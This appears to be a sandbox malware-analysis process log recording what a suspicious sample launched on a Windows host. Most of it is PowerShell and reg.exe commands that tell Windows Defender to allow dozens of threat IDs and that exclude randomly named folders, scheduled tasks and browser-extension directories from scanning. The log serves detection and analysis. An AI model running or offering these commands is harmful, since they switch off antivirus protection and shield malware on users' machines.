C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:643⤵
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 13736 -ip 137361⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\unpacksos\1\Launcher.exeC:\Users\Admin\AppData\Local\Temp\unpacksos\1\\Launcher.exe SRManagerSOS.exe 11⤵
-
C:\Users\Admin\AppData\Local\Temp\unpacksos\1\Launcher.exe"C:\Users\Admin\AppData\Local\Temp\unpacksos\1\\Launcher.exe"1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\ProgramData\0d465fd5-96c7-4e18-98af-40149515257a\kxetray.exeC:\ProgramData\0d465fd5-96c7-4e18-98af-40149515257a\kxetray.exe1⤵
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt\CDbnKvgFxZeNAdN\CQLYMgK.exeC:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt\CDbnKvgFxZeNAdN\CQLYMgK.exe Ow /pFdidT 452799 /S1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147814523\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147814523\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147914824\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147914824\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147849223\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147849223\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147943523\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147943523\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147941867\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147941867\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147948977\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147948977\" /t REG_SZ /d 6 /reg:64;"2⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:643⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HhaNBGcuU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HhaNBGcuU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IXzVmqJFDmDU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IXzVmqJFDmDU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lJjXfKfpJVtdC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lJjXfKfpJVtdC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tzdhLHbIjrNAUNTyxhR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tzdhLHbIjrNAUNTyxhR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vlxHtUmyEJUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vlxHtUmyEJUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\rHwmoXVaXOEgCaVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\rHwmoXVaXOEgCaVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\System32\Tasks\MWApEFojzuXiLU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\System32\Tasks\MWApEFojzuXiLU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\System32\Tasks\ShsqfzqZgGGaO2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\System32\Tasks\ShsqfzqZgGGaO2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\System32\Tasks\aasozdWqwSKHqgP\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\System32\Tasks\aasozdWqwSKHqgP\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\System32\Tasks\aasozdWqwSKHqgP2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\System32\Tasks\aasozdWqwSKHqgP2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\System32\Tasks\arIazdpPSpwgyJiRw2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\System32\Tasks\arIazdpPSpwgyJiRw2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\System32\Tasks\vTGyjTpJfVtyWubCYtk2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\System32\Tasks\vTGyjTpJfVtyWubCYtk2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\apVYxgZOEctSApDE\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\apVYxgZOEctSApDE\" /t REG_DWORD /d 0 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HhaNBGcuU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HhaNBGcuU" /t REG_DWORD /d 0 /reg:324⤵
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HhaNBGcuU" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IXzVmqJFDmDU2" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IXzVmqJFDmDU2" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lJjXfKfpJVtdC" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lJjXfKfpJVtdC" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tzdhLHbIjrNAUNTyxhR" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tzdhLHbIjrNAUNTyxhR" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vlxHtUmyEJUn" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vlxHtUmyEJUn" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\rHwmoXVaXOEgCaVB /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\rHwmoXVaXOEgCaVB /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
-
